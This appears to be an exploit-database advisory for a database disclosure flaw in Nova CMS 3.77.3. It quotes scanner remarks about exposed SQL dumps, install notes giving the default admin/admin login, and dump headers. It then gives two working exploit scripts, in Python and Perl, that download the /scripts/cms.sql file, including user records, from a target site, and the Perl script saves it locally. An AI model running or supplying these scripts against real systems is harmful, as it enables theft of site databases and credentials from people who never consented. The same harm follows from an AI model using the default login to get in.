It can be used to dump a database or a collection of databases for backup or transfer to another SQL server (not necessarily a MySQL server). The dump typically contains SQL statements to create the table, populate it, or both. This file contains an phpMyAdmin SQL dump. This information is highly sensitive and should not be found on a production system. * It looks like this file contains a database backup/dump. Acunetix inferred this filename from the domain name. A database backup contains a record of the table structure and/or the data from a database and is usually in the form of a list of SQL statements. A database backup is most often used for backing up a database so that its contents can be restored in the event of data loss. This information is highly sensitive and should never be found on a production system. Remediation : Sensitive files such as database backups should never be stored in a directory that is accessible to the web server. As a workaround, you could restrict access to this file. Information : ************ Requirements The framework requirements are limited. PHP 5.6 or greater. Apache Web Server or equivalent with mod rewrite support. IIS with URL Rewrite module installed - http://www.iis.net/downloads/microsoft/url-rewrite The following PHP extensions should be enabled: Fileinfo (edit php.ini and uncomment php_fileinfo.dll or use php selector within cpanel if available.) OpenSSL INTL Installation This framework was designed and is strongly recommended to be installed above the document root directory, with it pointing to the public folder. Additionally, installing in a sub-directory, on a production server, will introduce severe security issues. If there is no choice still place the framework files above the document root and have only index.php and .htacess from the public folder in the sub folder and adjust the paths accordingly. Upload the files above the document root and point your web root to the public folder. Edit app/Config/Database.php and set your database credentials. Edit app/Config/App.php and update your settings as desired. Import scripts/cms.sql into your database. At this point the CMS should be up and running to login to the admin go to /admin with the sample user account: username: admin password: admin ########################################################################### File : ****** /scripts/nova_options.sql Information : ************* -- phpMyAdmin SQL Dump -- version 4.5.5 -- phpmyadmin.net -- -- Host: localhost -- Server version: 10.0.25-MariaDB -- PHP Version: 5.6.22 -- Database: `nova` -- Table structure for table `nova_options` -- Indexes for dumped tables -- Indexes for table `nova_options` -- AUTO_INCREMENT for dumped tables -- AUTO_INCREMENT for table `nova_options` raw.githubusercontent.com/nova-framework/cms/master/scripts/nova_options.sql ########################################################################### File : ******* /scripts/cms.sql Information : ************* # Dump of table nova_global_blocks # Dump of table nova_menus # Dump of table nova_options # Dump of table nova_page_blocks # Dump of table nova_page_revisions # Dump of table nova_pages # Dump of table nova_password_reminders # Dump of table nova_roles # Dump of table nova_sidebars # Dump of table nova_users INSERT INTO `nova_users` (`id`, `role_id`, `username`, `password`, `realname`, `email`, `image`, `active`, `activation_code`, `remember_token`, `created_at`, `updated_at`) VALUES raw.githubusercontent.com/nova-framework/cms/master/scripts/cms.sql ########################################################################### # Database Disclosure Information Exposure Exploit 1 : *********************************************** #!/usr/bin/python import string import re from urllib2 import Request, urlopen disc = "/scripts/cms.sql" url = raw_input ("URL: ") req = Request(url+disc) rta = urlopen(req) print "Result" html = rta.read() rdo = str(re.findall("resources.*=*", html)) print rdo exit ########################################################################### # Database Disclosure Information Exposure Exploit 2 : *********************************************** #!/usr/bin/perl -w # Author : KingSkrupellos # Team : Cyberizm Digital Security Army use LWP::Simple; use LWP::UserAgent; system('cls'); system('Nova CMS Software 3.77.3 Database Disclosure Exploit'); system('color a'); if(@ARGV < 2) { print "[-]How To Use\n\n"; &help; exit(); } sub help() { print "[+] usage1 : perl $0 site.com /path/ \n"; print "[+] usage2 : perl $0 localhost / \n"; } ($TargetIP, $path, $File,) = @ARGV; $File="scripts/cms.sql"; my $url = "http://" . $TargetIP . $path . $File; print "\n Wait Please Dear Hacker!!! \n\n"; my $useragent = LWP::UserAgent->new(); my $request = $useragent->get($url,":content_file" => "D:/scripts/cms.sql"); if ($request->is_success) { print "[+] $url Exploited!\n\n"; print "[+] Database saved to D:/scripts/cms.sql\n"; exit(); } else { print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n"; exit(); } ########################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ###########################################################################
